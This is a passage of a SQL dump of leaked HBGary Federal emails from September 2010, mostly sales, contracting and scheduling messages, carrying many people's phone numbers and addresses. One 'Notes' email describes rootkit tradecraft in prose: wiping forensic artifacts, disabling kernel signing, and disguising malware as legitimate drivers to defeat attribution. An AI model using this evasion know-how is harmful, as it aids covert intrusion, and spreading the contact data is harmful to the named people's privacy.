<maria@hbgary.com>','/aaron@hbgary.com/new/1297009003.M9530P14101Q6989.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: STUFF','NCSC  national cyber security center.  Craig Tobias from WiiKno has the contract to design the collaboration between the Cyber Centers.\r\nHe sees an opportunity to represent HBGary  -- not sure where the fit it.  This is an exploratory meeting.  What is a better time for you?\r\nOn Tue, Sep 21, 2010 at 4:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nI can&#39;t do the call.  I am on a plane at 330pm out of Cincinnati.  Can we do a little earlier?\r\n\r\n\r\nAaronSent from my iPhone\r\nOn Sep 21, 2010, at 7:12 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron \r\n\r\nWant to follow up on the US-CERT opportunity/next steps for TMC\r\n\r\nand make sure you will attend the phone meeting Thursday...\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',6165,'aaron_hbgary_com/6165.html'),(12138,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009004.M348305P14101Q6994.eml','\"Sandy Barr\" <freelybe@hotmail.com>','','Tess Barr&nbsp;September 21 at 7:32pm&nbsp;ReportThe 27th we\'ll be helping clean up. Don\'t have anything planned on the 28th &amp; 29th. We are going to try to make time to come see you and we\'ll try to bring dylan with.\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',13080,'aaron_hbgary_com/13080.html'),(12139,'2010-09-22','bart.hopper@gmail.com','/aaron@hbgary.com/new/1297009004.M52242P14101Q6993.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Securabit Information Security Podcast','I\'ll have to pass on the donkey ride. They look pretty intense. Bryce Canyon was interesting. Even the easy trails are tough when you live at 700 feet of elevation and are hiking at 9100 ft of elevation. I hope you enjoy the podcast tomorrow. Guests seem to have a good time and many have volunteered to appear again in the future. BartSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 21 Sep 2010 18:51:14 -0400To: bart.hopper@gmail.com&lt;bart.hopper@gmail.com&gt;Subject: Re: Securabit Information Security PodcastNice.  I hear the donkey rides are quite an experience.Sent from my iPhoneOn Sep 21, 2010, at 6:48 PM, &quot;bart.hopper@gmail.com&quot; &lt;bart.hopper@gmail.com&gt; wrote:\r\nAaron, Yes, we are still on for tomorrow. just be available via Skype a few minutes early for soundchecks, etc. I won&#39;t be around since I&#39;m at the grand canyon on vacation. If something comes up you can contact Jay. \r\nRegards, BartSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 21 Sep 2010 18:07:27 -0400To: Bart Hopper&lt;bart.hopper@gmail.com&gt;Subject: Re: Securabit Information Security Podcast\r\nHey Bart,Just checking in to make sure everything is still on for tomorrow.  I am guessing I will just be on in skype a few minutes prior and we will connect up?  I have not done a podcast before.  Looking forward to it.\r\nAaronOn Aug 23, 2010, at 11:45 AM, Bart Hopper wrote:Aaron,Would you be available for the Securabit podcast on Wednesday, September 22 at 8:00pm Eastern time? Since Jason forwarded me the e-mail, I assume you are familiar with the podcast.\r\nWe record on alternate Wednesday nights at 8:00 Eastern time. We prefer to use Skype if possible. For audio quality purposes, it is recommended that you not use the microphone and speakers built-in to a notebook computer. (Inexpensive mic headsets that cost as little as $15 work fine) The show recording takes about 1 1/2 hours but is edited down (to remove dead air, noise, etc) to about an hour. The shows are generally released on the following Monday. During the show, the hosts and limited number of live listeners chat in the IRC channel irc://irc.freenode.net#securabit. Feel free to join if you wish.\r\n\r\nCan I get some information to setup the appearance on the calendar?Skype name:Backup phone number:e-mail address:Twitter id: (if you have one)If you have any questions, please let me know.\r\n\r\n\r\nRegards,Bart &quot;d4ncingd4n&quot; HopperAaron,Bart is our PR guy for the show and he&#39;ll be able to set\r\nup a time that works best for you.  Please let me know if you have any\r\nquestions and I&#39;ll be sure to help out where needed.  Bart,\r\nCan you please schedule Aaron Barr, CEO of HBGary Federal, to talk about their products and upcoming events on their end.Looking forward to another great show!R/Jason MuellerCo-founder of SecuraBit LLC\r\n\r\nwww.SecuraBit.comOn Wed, Aug 18, 2010 at 10:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Jason,\r\n\r\nThanks for the response.  Its a small community so please definitely stay in contact and I&#39;ll do the same.\r\nSure lets get on the phone or meet and talk about\r\nthe podcast, I can tell you a little about what we are up to and go\r\nfrom there.Let me know some good times.\r\nAaronOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:\r\nAaron,Thanks\r\nfor your interest and yes I&#39;m familiar with HBGary. Our RE guys used it\r\nat my last customer site.  I just left Symantec in April and jumped on\r\nwith ArcSight which seems to be working out quite well. I&#39;ll keep your\r\ninfo handy and I&#39;m sure we&#39;ll bump into one another at some point in\r\nthe near future. In the meantime, any interest in sharing your product\r\nand thoughts with the SecuraBit podcast?  Let me know and I&#39;ll get a\r\ndate that works best for you. We record every other Wednesday at 8pm\r\nand average roughly 5k downloads per show.  Check out www.SecuraBit.com to see a list of prior guests. \r\nR/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.com\r\n\r\nCell: (540) 842-7019\r\n5 Results WayCupertino, CA 95014www.ArcSight.com\r\nSent from my iPhone, please excuse typos. \r\n\r\nArcSight Protect &#39;10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!\r\n\r\n\r\nOn Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\nAaron Barr has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n  Hey Jason,\r\n\r\nThanks for accepting. I am not sure if you know much about HBGary or\r\nHBGary Federal. Leading HBGary Federal I am focused on improving\r\ncybersecurity leveraging key people, partnerships, technologies, and\r\nprocesses. I am looking to fill some key positions and would like to\r\ndiscuss them with you if your interested, if not at this time, no\r\nproblem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\n\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\nThank You,\r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\n\r\n\r\nView/reply to this message\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n© 2010, LinkedIn Corporation\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n\r\n\r\n',743,'aaron_hbgary_com/743.html'),(12140,'2010-09-22','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297009004.M601593P14101Q6995.eml','\"Christopher Clair\" <christopher.clair@tasc.com>,\"Christopher Clair\" <christopher.clair@tasc.com>,','ROMAS','\r\n\r\nROMAS\r\n\r\n\r\nChris - \r\n\r\nAccording to the client CO, ROMAS will not be split up into four RFPs, but only a market survey will be provided in the next quarter. &nbsp;COIN, as they know it, is dead. &nbsp;The rumor that ROMAS would be split into four RFPs was just that &#8211; a rumor &#8211; according to the CO. &nbsp;\r\n\r\n\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n',3032,'aaron_hbgary_com/3032.html'),(12141,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009004.M956142P14101Q6996.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>,','Re: ROMAS','Thanks Tim.I am supposed to see John on Friday and will ask him specifically about this as well as get the contact info for the COTR and CO while we are being added to the bidders list. &nbsp;I think this is better for us consolidated so I hope your source is more reliable than mine Tim. :)AaronOn Sep 21, 2010, at 10:36 PM, Tim Riesen wrote:\r\nChris - \r\n\r\nAccording to the client CO, ROMAS will not be split up into four RFPs, but only a market survey will be provided in the next quarter. &nbsp;COIN, as they know it, is dead. &nbsp;The rumor that ROMAS would be split into four RFPs was just that – a rumor – according to the CO. &nbsp;\r\n\r\n\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',1520,'aaron_hbgary_com/1520.html'),(12142,'2010-09-22','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297009005.M168971P14101Q6997.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: ROMAS','\r\n\r\nRe: ROMAS\r\n\r\n\r\nThanks Aaron. &nbsp;We will be standing by. &nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 21 Sep 2010 22:47:49 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nCc: Christopher Clair &lt;christopher.clair@tasc.com&gt;, &quot;Duane T. Anderson&quot; &lt;dta@archimedesglobal.com&gt;\r\nSubject: Re: ROMAS\r\n\r\nThanks Tim.\r\n\r\nI am supposed to see John on Friday and will ask him specifically about this as well as get the contact info for the COTR and CO while we are being added to the bidders list. &nbsp;I think this is better for us consolidated so I hope your source is more reliable than mine Tim. :)\r\n\r\nAaron\r\n\r\n\r\nOn Sep 21, 2010, at 10:36 PM, Tim Riesen wrote:\r\n\r\nChris - \r\n\r\nAccording to the client CO, ROMAS will not be split up into four RFPs, but only a market survey will be provided in the next quarter. &nbsp;COIN, as they know it, is dead. &nbsp;The rumor that ROMAS would be split into four RFPs was just that &#8211; a rumor &#8211; according to the CO. &nbsp;\r\n\r\n\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9040,'aaron_hbgary_com/9040.html'),(12143,'2010-09-22','\"Mark Spencer via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297009005.M383804P14101Q6998.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Mark Spencer has indicated you are a Colleague at Northrop Grumman IS:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Mark Spencer\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Mark Spencer\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n  WHY MIGHT CONNECTING WITH MARK SPENCER BE A GOOD IDEA?\r\n  Have a question? Mark Spencer\'s network will probably have an answer You can use LinkedIn Answers to distribute your professional questions to Mark Spencer and your extended network. You can get high-quality answers from experienced professionals.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',16046,'aaron_hbgary_com/16046.html'),(12144,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009005.M612257P14101Q6999.eml','\"Aaron Barr\" <adbarr@mac.com>','Notes','Designing Social Interfaces - Christian Chroomlish, Eric Malonethe loader after execution would be removed completely.If the loader were to be captured you can not hide the cert. &nbsp;The security of your cert is highly dependent the opsec of obtaining the cert.Complete evaluation of the intended target platforms foresnics evidence propogation. &nbsp;Determine every artifcat that was recorded. &nbsp;Event Log, FIle system (locations that will have evidence - need to then wipe those.propogation test is different. &nbsp;secondary and tertiary modules become involved and make copies of your data, need to test and observed on where your data gets copied.Rootkit itself, they wold not find how it was installed. &nbsp;The analyst should not be able to figure out how it got installed. &nbsp;Should be very difficult. &nbsp;Not associated with an operating system object. &nbsp;Not operating system object associated. &nbsp;A string of executable code with a hook point in a non-obvious location. &nbsp;Does not need to register itself with any externally visible objects. &nbsp;Arbitrary code that is hooked into the execution flow.Need installer to figure out the install process. &nbsp;You would know that it had been copied into memory from some kind of loader.Not resident on disk.If you want it to survive reboot, then the loader has to stick around. &nbsp;Modify the kernel to stop digital signing. &nbsp;1st loader and cert would be removed and secondary loader with no cert would be used to survive reboot.Could try to hide the loader. &nbsp;It is exposed at some level and the cert could be recovered. &nbsp;Make rootkit and loader look like normal software (printer driver, copyright string, linked to an actual company). &nbsp;Integrate virus into a legitimate binary.Don\'t know until we evaluate. &nbsp;Step to audit all possible locations where the cert would go. &nbsp;MUltiple OS and patches. &nbsp;Search for the binary data within the cert, search for fragments of the file not just the entire file.Yes. but there would be a way to mask the attributable data. &nbsp;Hide inside of other files. &nbsp;Set up a development environment that can use arbitrary files off the net and use the PE header of these files in the binaries you are compiling. &nbsp;Code development. &nbsp;Can write your own compiler. &nbsp;Compiler is designed to emulate other stuff, preprogrammed to write symbolically in your malware other software.The Dragon Book.\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',2944,'aaron_hbgary_com/2944.html'),(12145,'2010-09-22','arc@westfields.net','/aaron@hbgary.com/new/1297009005.M824188P14101Q7000.eml','federal@hbgary.com','Caprica Final RFP document Posting','\r\nA Final Request For Proposal (RFP) has been posted or updated on the NRO-Caprica effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select Caprica from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',6670,'aaron_hbgary_com/6670.html'),(12146,'2010-09-22','arc@westfields.net','/aaron@hbgary.com/new/1297009006.M35849P14101Q7001.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Tuesday, 09/21/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/COMM-Expedition (Announcement & Document Posting)\r\n\r\nNRO-Caprica (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; 